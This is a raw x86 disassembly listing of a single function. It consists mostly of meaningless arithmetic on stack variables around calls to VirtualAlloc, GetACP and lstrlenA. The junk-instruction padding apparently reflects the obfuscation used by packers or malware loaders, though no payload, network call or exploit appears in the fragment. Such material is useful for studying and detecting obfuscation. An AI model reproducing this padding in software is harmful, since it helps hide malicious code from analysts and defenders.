mov cx, 0xc1
and dword [ebp - 0x24], 0x77777777
mov dx, 3
mov ecx, eax
sub dword [ebp - 0x24], 0xcc
mov dword [ebp - 0x24], edi
add dword [ebp - 0x1c], 0xcccccc
mov edi, 0x80
mov di, 4
sub dword [ebp - 0x24], 0x88008888
mov edx, dword [ebp - 0x24]
mov esi, 2
mov ecx, dword [esp]
mov dword [ebp - 0x2c], ecx
mov edi, dword [esp]
xor dword [ebp - 0x1c], 0xdd00dddd
mov edi, dword [ebp]
add dword [ebp - 0x18], 0x440044
mov edx, 0x20
lea edi, [esp]
mov edi, dword [ebp - 0x24]
xor esi, esi
call dword [sym.imp.KERNEL32.DLL_GetACP]
mov edx, 8
mov dword [ebp - 0x1c], esi
mov di, 0xd8
lea edx, [ebp - 0x2c]
mov eax, dword [esp]
mov eax, dword [esp]
lea esi, [esp]
mov eax, dword [esp]
lea edi, [esp]
mov esi, 0x20
mov dword [ebp - 0x18], ecx
and dword [ebp - 0x2c], 0xbb00bb
mov dword [ebp - 0x20], esi
sub ecx, ecx
mov eax, dword [esp]
mov dword [ebp - 0x20], 2
mov eax, edi
mov edi, dword [ebp - 0x1c]
sub dword [ebp - 0x24], 0xeeee
and dword [ebp - 0x18], 0xbb00bb
mov ecx, edi
mov edi, dword [ebp]
mov si, 0x5d
mov dx, 8
lea esi, [ebp - 0x2c]
lea esi, [ebp]
mov esi, dword [ebp]
add dword [ebp - 0x18], 0x77
lea eax, [esp]
sub dword [ebp - 0x20], 0x33333333
mov edi, dword [esp]
mov ecx, edx
mov dword [ebp - 0x18], 4
and dword [ebp - 0x1c], 0x55000055
mov ecx, 0x12c
and dword [ebp - 0x1c], 0xffffff
mov edx, 0x20
cmp ecx, 0
jb 0x4041bb
xor edx, edx
xor ecx, ecx
push 8
push 0x2000
push 0x900
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, dword [ebp]
mov edx, dword [ebp]
mov dx, 0x9d
mov eax, edi
mov edx, dword [esp]
mov esi, 4
mov dword [ebp - 0x24], edx
mov edi, dword [esp]
xor dword [ebp - 0x2c], 0xffff
mov edi, esi
add dword [ebp - 0x18], 0x11111111
lea edx, [esp]
or dword [ebp - 0x20], 0x11111111
mov ecx, dword [esp]
lea edi, [esp]
lea edx, [esp]
and dword [ebp - 0x2c], 0x33000033
lea esi, [ebp]
mov dword [ebp - 0x1c], ecx
add dword [ebp - 0x18], 0xbbbb
mov eax, esi
lea edi, [ebp]
lea edx, [ebp - 0x18]
sub ecx, ecx
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x28], esi
mov ecx, edi
and dword [ebp - 0x2c], 0xff00ff
sub dword [ebp - 0x18], 0x22000022
add dword [ebp - 0x2c], 0x77777777
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea edi, [ebp]
mov eax, dword [ebp - 0x28]
lea eax, [esp]
mov di, 0x20
mov ecx, 0xd
mov dword [ebp - 0x20], edx
lea eax, [ebp - 0x2c]
lea edi, [esp]
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0x24], 0xdd0000dd
xor dword [ebp - 0x24], 0xee0000ee
lea esi, [esp]
add dword [ebp - 0x18], 0xdd0000dd
add dword [ebp - 0x18], 0x660066
xor dword [ebp - 0x28], 0xaa0000aa
mov esi, ecx
lea eax, [ebp - 0x20]
and dword [ebp - 0x18], 0xcc00cc
xor dword [ebp - 0x24], 0xbbbb
mov dword [ebp - 0x28], edi
add dword [ebp - 0x18], 0x220022
sub dword [ebp - 0x28], 0xeeee00ee
mov esi, 0x99
sub esi, esi
and dword [ebp - 0x20], 0x999999
add dword [ebp - 0x1c], 0x99
and dword [ebp - 0x2c], 0x880088
mov edx, dword [esp]
mov eax, 0x12c
mov eax, 0x20
mov dword [ebp - 0x24], eax
cmp eax, 0
jne 0x4042f6
mov ecx, 0x12c
sub ecx, ecx
cmp eax, 0
jb 0x4042f6
push 4
push 0x8000
push 0xa00
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edx, dword [ebp]
lea edx, [ebp - 0x20]
lea edi, [ebp]
lea eax, [esp]
mov edi, edx
mov edi, 4
mov dword [ebp - 0x1c], ecx
mov edi, dword [ebp]
mov dword [ebp - 0x28], 0x67
mov ecx, 0x8b
lea edi, [esp]
mov edi, dword [ebp - 0x18]
mov edi, eax
lea edi, [ebp - 0x2c]
xor eax, eax
mov edx, esi
and dword [ebp - 0x2c], 0xdd00dd
lea ecx, [ebp - 0x1c]
or dword [ebp - 0x18], 0x99000099
mov esi, 0x9c
xor edi, edi
mov dx, 0x80
add dword [ebp - 0x28], 0xdd00dddd
mov edi, dword [ebp - 0x20]
lea eax, [ebp]
mov ecx, dword [ebp]
lea eax, [ebp - 0x28]
lea edi, [ebp - 0x20]
mov dx, 0x29
mov dword [ebp - 0x2c], 0x40
and dword [ebp - 0x20], 0x44004444
mov esi, dword [ebp - 0x24]
lea edi, [ebp - 0x28]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edi, esi
lea esi, [ebp - 0x20]
mov ecx, 0x20
lea eax, [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov esi, 0xbe
mov edi, esi
mov dx, 1
mov dword [ebp - 0x18], ecx
mov esi, dword [ebp - 0x28]
add dword [ebp - 0x20], 0x99999999
xor ecx, ecx
mov eax, dword [ebp]
lea esi, [ebp]
mov edi, dword [esp]
lea edi, [esp]
xor dword [ebp - 0x28], 0x88008888
mov dword [ebp - 0x1c], eax
sub dword [ebp - 0x20], 0x99009999
lea eax, [ebp - 0x18]
xor edx, edx
mov dword [ebp - 0x2c], 0xaa
sub dword [ebp - 0x20], 0x7777
xor dword [ebp - 0x2c], 0x22
lea edx, [ebp]
mov edx, ecx
xor dword [ebp - 0x20], 0x33
and dword [ebp - 0x2c], 0x88
mov di, 3
sub esi, esi
or dword [ebp - 0x1c], 0xbb00bb
or dword [ebp - 0x24], 0xcccc
add dword [ebp - 0x2c], 0xdddddd
mov edi, dword [ebp]
mov ecx, 0
lea edx, [ebp - 0x18]
add dword [ebp - 0x18], 0x34
sub dword [ebp - 0x2c], 0xe
xor edx, edx
mov edx, 0xc8
and dword [ebp - 0x1c], 0xffffff
sub edx, edx
or dword [ebp - 0x18], 0xff00ff
add dword [ebp - 0x28], 1
xor eax, eax
or dword [ebp - 0x20], 0xff
mov ax, 8
cmp dword [ebp - 0x20], eax
jne 0x404468
xor edx, edx
lea edx, [ebp - 0x28]
or dword [ebp - 0x18], 0xff00ff
test eax, eax
jb 0x404471
xor dword [ebp - 0x1c], 0xffff
sub eax, eax
mov ecx, 0x12c
mov edi, 0
xor ecx, ecx
and dword [ebp - 0x24], 0xff00ff
push ecx
push dword [ebp - 0x1c]
push edi
push dword [ebp - 0x28]
call fcn.00408bd5
mov edx, dword [ebp - 0x2c]
and dword [ebp - 0x18], 0xff00ff
sub edx, edx
mov dword [ebp - 0x20], edx
sub dword [ebp - 0x28], 0x43
or dword [ebp - 0x1c], 0xff00ff
mov eax, 0
or dword [ebp - 0x24], 0xff
or dword [ebp - 0x28], 0xffffff
mov edx, 0x64
sub eax, eax
lea eax, [ebp - 0x1c]
leave
ret